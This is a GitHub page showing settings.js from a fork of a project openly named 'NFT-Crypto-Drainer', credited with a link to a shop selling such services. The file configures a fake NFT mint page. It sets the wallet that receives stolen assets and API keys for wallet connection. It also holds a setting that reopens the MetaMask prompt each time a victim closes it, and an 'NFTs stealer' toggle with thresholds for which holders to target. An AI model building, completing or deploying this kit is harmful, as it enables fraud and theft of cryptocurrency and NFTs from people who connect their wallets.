forked from 0x32Moon/NFT-Crypto-Drainer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsettings.js
58 lines (52 loc) · 2.26 KB
/
settings.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/*
Credits: https://github.com/0x32Moon/NFT-Crypto-Drainer
Shop: https://nftservices.sellix.io/
*/
const address = "YOUR WALLET"; // Your wallet that you have to receive NFTs
const infuraId = "API KEY" // Infuria ID | https://infura.io/ | For Wallet Connect
const moralisApi = "X-API-KEY" // x-api-key | https://moralis.io/ | For NFTs
const collectionInfo = {
name: "NFTs Montana",
title: "@NftMontana MINT Template", // Title prefix (ex "Buy your {name}") - You can use {name} to insert the collection name
date: "12.05.2022",
socialMedia: {
discord: "https://discord.gg/example",
twitter: "https://twitter.com/example",
},
medias: {
preview: "preview.gif",
favicon: "logo.png",
},
background: {
type: "image", // Supported types: image, video, color
image: "background.jpg", // Image for image type, video preview for video type
video: "background.mp4", // If you don't use video, you can ignore this line
color: "#4E4E6D", // If you don't use color, you can ignore this line
}
}
const mintInfo = {
price: 0.2, // Price per NFT.
totalSupply: 999, // Total supply of NFTs.
minUnits: 1, // Min units to buy.
maxUnits: 6, // Max units to buy.
askMintLoop: true, // If true, when the user closes the metamask popup, it reopens automatically.
}
const nftsInfo = {
active: true, // Active (true) or not (false) NFTs stealer.
minValue: 0.2, // Minimum value of the last transactions (in the last 'checkMaxDay' days) of the collection.
checkMaxDay: 7, // Maximum number of days to check for the last transactions.
receiveAddress: "" // leave empty if you want to use the same address
}
/*
= = = = = END OF SETTINGS = = = = =
*/
//#region Check Configuration
if (mintInfo.minUnits > mintInfo.maxUnits) console.error(`Error: minUnits (${mintInfo.minUnits}) is greater than maxUnits (${maxUnits})`);
if (mintInfo.minUnits <= 0) console.error(`Error: minUnits (${mintInfo.minUnits}) is less than or equal to 0`);
if (!address.startsWith("0x") ||
(
address.length >= 64 ||
address.length <= 40
)
) console.error(`Error: ${address} is not a valid Ethereum address.`);
//#endregion